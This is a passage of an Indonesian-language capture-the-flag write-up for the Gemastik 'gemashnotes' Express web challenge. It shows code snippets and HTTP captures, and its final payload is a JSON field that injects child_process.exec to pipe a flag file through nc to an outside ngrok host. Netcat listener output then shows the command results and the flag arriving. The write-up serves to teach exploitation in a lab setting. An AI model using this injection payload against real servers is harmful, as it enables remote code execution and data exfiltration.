router.get('/stats', async(req, res, next) => {
  const allNotes = await Note.find();
  return res.status(200).json({count: allNotes.length});
});
```

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 GET /stats HTTP/1.1 2 Host: ctf-gemastik.ub.ac.id:10024 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q =0.9,image/avif,image/webp,image/apng,*/*;q=0.8,a pplication/signed-exchange;v=b3;q=0.9 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Cookie: JSESSIONID= OC138ED725F730F875E96516BC54CD09 9 Connection: close 10 11</pre>		<pre>1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 12 5 ETag: W/"c-XI16SgmvjDFHNxyVRJLnc4MVLyO" 6 Date: Sun, 30 Jul 2023 09:44:29 GMT 7 Connection: close 8 9 { "count":27 }</pre>	

Setelah itu, untuk trigger RCE, kita perlu untuk menjalankan `res.render()`

```
20
27 app.use(function(req, res, next) {
28   next(createError(404));
29 });
30
31 app.use(function(err, req, res, next) {
32   res.locals.message = err.message;
33   res.locals.error = req.app.get('env') === 'development' ? err : {};
34
35   res.status(err.status || 500);
36   res.render('error');
37 });
38
39 module.exports = app;
40
```

Cara untuk triggernya adalah dengan mengakses page yang tidak ada pada website. Dapat dilihat di potongan kode berikut. Ketika page tidak exists, maka website akan menjalankan function `next()` dengan error 404.

```
app.use(function(req, res, next) {
  next(createError(404));
});
```

Ketika function next() dijalankan, maka blok kode ini akan dijalankan, dan res.render() pun akan tereksekusi

```
app.use(function(err, req, res, next) {
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;
```

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /a HTTP/1.1 2 Host: ctf-gemastik.ub.ac.id:10024 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0 .9,image/avif,image/webp,image/apng,*/*;q=0.8,appli cation/signed-exchange;v=b3;q=0.9 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Cookie: JSESSIONID=0C138ED725F730F875E96516BC54CD09 9 Connection: close 10 11</pre>				<pre>1 HTTP/1.1 404 Not Found 2 X-Powered-By: Express 3 Content-Type: text/html; charset=utf-8 4 Content-Length: 43 5 ETag: W/"2b-1wYaGEVqdOioWMepP5KQ6N+Q6oo" 6 Date: Sun, 30 Jul 2023 19:33:05 GMT 7 Connection: close 8 9 <h1> "Not Found" 10 </h1> 11 <pre> 12</pre>			

Berikut merupakan data yang berhasil didapatkan setelah command dieksekusi

```
root@Amogus:/tmp# nc -nlvp 8888
Listening on 0.0.0.0 8888
Connection received on 127.0.0.1 43860
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
root@Amogus:/tmp#
```

Flag berada pada directory /

```

root@Amogus:/tmp# nc -nlvp 8888
Listening on 0.0.0.0 8888
Connection received on 127.0.0.1 59526
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
y0r_pr1z3
root@Amogus:/tmp# |

```

Flag pun didapatkan dengan payload akhir seperti berikut

Request	Response
<pre> 1 POST /notes HTTP/1.1 2 Host: ctf-gemastik.ub.ac.id:10021 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex change;v=b3;q=0.9 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Cookie: JSESSIONID=OC138ED725F730F875E96516BC54CD09 9 Connection: close 10 Content-Type: application/json 11 Content-Length: 137 12 13 { 14 "title": "JSON.stringify: process.mainModule.require('child_proces s').exec('cat /y0r_pr1z3 nc 0.tcp.ap.ngrok.io 17994')", "content": "1" } </pre>	<pre> 1 HTTP/1.1 201 Created 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 212 5 ETag: W/"d4-eQliQiXXi7/1KMy+SeN4jFrzma0" 6 Date: Sun, 30 Jul 2023 09:46:43 GMT 7 Connection: close 8 9 { 10 "title": "JSON.stringify: process.mainModule.require('child_pro cess').exec('cat /y0r_pr1z3 nc 0.tcp.ap.ngrok.io 179 94')", "content": "1", "_id": "64c631830a13a48c8de4756a", "date": "2023-07-30T09:46:43.272Z", "__v": 0 } </pre>

```
root@Amogus:/tmp# nc -nlvp 8888
Listening on 0.0.0.0 8888
Connection received on 127.0.0.1 54496
gemastik{web_gemashnotes_55a04666584629f61fb5379ed346f9a7bb80e92cf95cba72}root@Amogus:/tmp# |
```

Flag:

gemastik{web_gemashnotes_55a04666584629f61fb5379ed346f9a7bb80e92cf95cb
a72}